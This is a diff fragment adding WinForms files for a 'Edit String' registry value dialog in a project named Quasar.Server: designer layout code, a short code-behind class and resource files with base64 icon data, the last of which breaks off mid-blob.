b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditMultiString.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs new file mode 100755 index 0000000..4fdef39 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -0,0 +1,143 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditString)); + this.label1 = new System.Windows.Forms.Label(); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 12); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 28); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 60); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueDataTxtBox + // + this.valueDataTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76); + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueDataTxtBox.TabIndex = 0; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(280, 111); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(199, 111); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // FrmRegValueEditString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(364, 146); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditString"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "Edit String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox valueDataTxtBox; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs new file mode 100755 index 0000000..d068af9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -0,0 +1,31 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditString.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + 